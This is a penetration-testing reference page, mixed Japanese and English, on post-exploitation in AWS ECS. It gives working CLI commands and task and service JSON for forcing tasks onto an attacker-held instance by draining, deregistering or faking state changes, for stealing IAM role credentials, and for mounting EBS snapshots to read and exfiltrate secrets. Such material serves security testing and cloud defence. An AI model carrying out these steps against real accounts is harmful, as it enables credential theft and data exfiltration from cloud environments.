7.0 KiB
AWS - ECS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
ECS
For more information check:
{{#ref}} ../../aws-services/aws-ecs-enum.md {{#endref}}
Host IAM Roles
ECS では、コンテナ内で実行される task に IAM role を割り当てることができます。
タスクが EC2 instance 内で実行されている場合、EC2 instance には別の IAM role がアタッチされます。
つまり、ECS instance を compromise できれば、ECR や EC2 instance に紐づく IAM role を取得できる可能性があります。これらの資格情報を取得する方法の詳細は次を参照してください:
{{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}}
Caution
Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.
Privesc to node to steal other containers creds & secrets
さらに、EC2 は docker を使って ECS tasks を実行しているため、もし node に escape するか docker socket にアクセスできれば、どの other containers が実行されているかを 確認 し、それらに 入り込んで アタッチされている IAM roles を steal することさえできます。
Making containers run in current host
さらに、EC2 instance role は通常、クラスター内のノードとして使われている EC2 インスタンスの container instance state を更新するための十分な permissions を持っています。攻撃者はインスタンスの state を DRAINING に変更することができ、すると ECS はそのインスタンスから すべての tasks を削除し、REPLICA として実行されているタスクは別のインスタンスで run in a different instance ことになります。これが攻撃者のインスタンス内で実行される可能性があり、その場合攻撃者はコンテナ内から IAM roles を steal したり、機密情報を取得できます。
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
同じ手法は deregistering the EC2 instance from the cluster によって行うことができます。これは潜在的にステルス性が低くなりますが、tasks を他のインスタンスで実行させることを強制します:
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
tasksの再実行を強制する最後の手法は、ECSにtask or container was stoppedと通知することです。これを行うAPIは3つあります:
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
Steal sensitive info from ECR containers
The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to イメージをダウンロードする(それらの中から機密情報を検索できる)。
Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
既存のEBSスナップショットの内容を新しいECS task/service 内に直接マウントし、コンテナ内部からデータを読み取るためにネイティブなECS EBS統合 (2024+) を悪用する。
-
Needs (minimum):
-
ecs:RegisterTaskDefinition -
One of:
ecs:RunTaskORecs:CreateService/ecs:UpdateService -
iam:PassRoleon: -
ECS infrastructure role used for volumes (policy:
service-role/AmazonECSInfrastructureRolePolicyForVolumes) -
Task execution/Task roles referenced by the task definition
-
If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
-
Impact: コンテナ内でスナップショットから任意のディスク内容(例: データベースファイル)を読み取り、network/logs 経由で exfiltrate できる。
Steps (Fargate example):
- Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
- タスク定義を登録し、volume を
configuredAtLaunchに設定してコンテナにマウントします。例(シークレットを出力してからスリープします):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
volumeConfigurations.managedEBSVolume経由で EBS snapshot を渡してサービスを作成または更新する(インフラロールに iam:PassRole が必要)。例:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
- タスクが開始すると、container は設定された mount path(例:
/loot)で snapshot の内容を読み取ることができます。Exfiltrate は task の network/logs 経由で行ってください。
クリーンアップ:
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
{{#include ../../../../banners/hacktricks-training.md}}